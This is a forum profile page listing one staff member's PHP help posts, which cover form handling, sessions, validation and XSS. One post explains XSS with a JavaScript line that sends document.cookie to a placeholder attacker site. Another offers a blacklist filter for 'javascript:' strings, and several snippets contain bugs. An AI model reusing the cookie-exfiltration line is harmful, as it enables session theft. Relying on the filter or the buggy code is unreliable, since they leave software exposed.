Jump to content

Daniel0

Staff Alumni
  • Posts

    11,885
  • Joined

  • Last visited

Everything posted by Daniel0

  1. What address book? An address book on an online webmail service (like Gmail) or an application on your computer (like Microsoft Outlook's address book)?
  2. This will work: [code]<?php $query = $config->query("SELECT * FROM $table_users WHERE username='$_SESSION[username]'"); $row = mysql_fetch_array($query); $sex = array('Male','Female'); echo "<select name='sex'>\n"; foreach($sex as $sex) { if($sex == $row['sex']) $selected = $sex==$row['sex'] ? " selected='selected'" : null; echo "\t<option value='{$sex}'{$selected}>{$sex}</option>\n"; } echo "</select>\n"; ?>[/code]
  3. Could we see a sample file of the ones you load?
  4. Interfaces are sort of like templates for classes (PHP5 or higher only). When a class implements an interface, then it must contain the elements that the interface contains. [url=http://php.net/manual/en/language.oop5.interfaces.php]More info on interfaces[/url]
  5. I believe that they are working on it as I think the entire main site is being rebuild or something like that.
  6. [quote author=pedrobcabral link=topic=110976.msg449433#msg449433 date=1160419559] Is that also prevented with the command spoken above? [/quote] No. For that you would have to do something like this: [code]$t = html_entity_decode($t,ENT_QUOTES); $t = str_replace("<","&#60;",$t); $t = str_replace(">","&#62;",$t); $t = str_replace("&quot;",htmlspecialchars('"'),$t); $t = preg_replace("/&#0*([0-9]*);?/",'&#\\1;',$t); $t = str_replace('&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;','javascript:',$t); $t = preg_replace("/javascript:/i","nojava"/*&#97;v&#97;*/."script:",$t); $t = preg_replace("/vbscript:/i","novb"/*&#98;*/."script:",$t);[/code] More info on XSS prevention: http://blog.bitflux.ch/wiki/XSS_Prevention
  7. No, but use what corresponds to your database structure.
  8. Try [tt]session_cache_limiter('none')[/tt] or [tt]session_cache_limiter('nocache')[/tt] on log-off.php
  9. It is related. Each time I get that error on SMF I errors similar to the ones you showed on the main page.
  10. Inside the loop: [code]$selected = $row['is_selected'] ? " selected='selected'" : null; echo "\n<option value='$row['id']'{$selected}>$row['name']</option>\n";[/code]
  11. [quote author=Mutley link=topic=110976.msg449407#msg449407 date=1160417975] Not heard of XSS, is it common? [/quote] Yeah, It's beginning to get quite common, it works like this: 1. User gets redirected to hackers page. Could be like this (javascript): [code]location.href='http://evil-hackers-site.com/harvest_cookies.php?data='+document.cookie;[/code] 2. The page harvests the cookie information 3. The user is redirected back the original page. Here are some information about XSS: http://ha.ckers.org/xss.html http://en.wikipedia.org/wiki/Cross_site_scripting
  12. Do you run that code when defining the session variable or at every page load?
  13. mysql_real_escape_string would prevent SQL injection. Another thing you need to be vary about is XSS (cross-site scripting) attacks.
  14. What error do you get?
  15. If you don't already do this, then maybe using persistent connections could take a bit off the MySQL server load.
  16. [code]if(mysql_num_rows($result)) { while($row = mysql_fetch_assoc($result)) { // do stuff } } else { echo "No such customer"; }[/code]
  17. Not checking for the field names would be a security issue. Imagine a user registration script like this. Say there is another field called is_admin which defaults to 0 (false) and therefor is not included in the query as it is not needed. The user could send an extra post variable called is_admin with the value 1 (true) and thereby gain administrative rights.
  18. I believe that for colors there is a value option called transparent. You could use that for the color attribute.
  19. I often (like every second/third day) get a message saying that smf can't connect to the database. I don't know if that is related to this.
  20. .htaccess files have same syntax (or whatever to call it) as the httpd.conf file. [code]bla bla #this is a comment bla bla more configuration...[/code]
  21. Try this: [code]<?php function out_of_range($value,$min=6,$max=15) { return (strlen(trim($value))<$min || strlen(trim($value))>$max); } if(isset($_POST["submit"])) { $error_msg = array(); if(out_of_range($_POST['name'])) { $error_msg[] = "Please enter a name between 6 to 15 characters long"; } if(out_of_range($_POST['peak'])) { $error_msg[] = "Please enter a peak between 6 to 15 characters long"; } if(out_of_range($_POST['offpeak'])) { $error_msg[] = "Please enter a off peak between 6 to 15 characters long"; } if(out_of_range($_POST['peaknet'])) { $error_msg[] = "Please enter a peaknet between 6 to 15 characters long"; } if(out_of_range($_POST['offpeaknet'])) { $error_msg[] = "Please enter a offpeaknet between 6 to 15 characters long"; } if(out_of_range($_POST['txt'])) { $error_msg[] ="Please enter a txt between 6 to 15 characters long"; } if(out_of_range($_POST['picture'])) { $error_msg[] = "Please enter a picture between 6 to 15 characters long"; } if(count($error_msg)<=0) { $name = mysql_real_escape_string($_POST["name"]); $peak = mysql_real_escape_string($_POST["peak"]); $offpeak = mysql_real_escape_string($_POST["offpeak"]); $peaknet = mysql_real_escape_string($_POST["peaknet"]); $offpeaknet = mysql_real_escape_string($_POST["offpeaknet"]); $txt = mysql_real_escape_string($_POST["txt"]); $picture = mysql_real_escape_string($_POST["picture"]); $connection = mysql_connect("", "", ""); mysql_select_db("neil", $connection) or die("Unable to select database: ".mysql_error()); mysql_query("INSERT INTO sims VALUES ('','$name','$peak','$peaknet','$offpeaknet','$offpeak','$txt','$picture')") or die(mysql_error()); mysql_close($connection); echo "New sim sucessfully created"; } else { echo "<span style='font-weight: bold; color: red;'>Error(s):</span><br /><ul><li>"; echo join('</li><li>',$error_msg); echo "</ul>"; } } else { // show form } ?>[/code]
  22. Change [code]array_push($data, $sourcename=>array("cases"=>"0","inds"=>"0"));[/code] to [code]$sourcename = array_merge($source_name,array("cases"=>"0","inds"=>"0")); array_push($data, $sourcename);[/code]
  23. In my opinion you shouldn't even use tables for this purpose as tables are for tabular data.
  24. Try something like this (I haven't tested it): [code]<?php $smileys = array( 'smile' => ':)', 'smiley2' => ':D', ); foreach($smileys as $image => $code) { $images[] = "<img src='smileys/{$image}.gif' alt='{$code}' />"; } $text = str_replace($smileys,$images,$text); ?>[/code]
  25. Admin, (Guest), Members, (Unvalidated members), (Moderators)
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.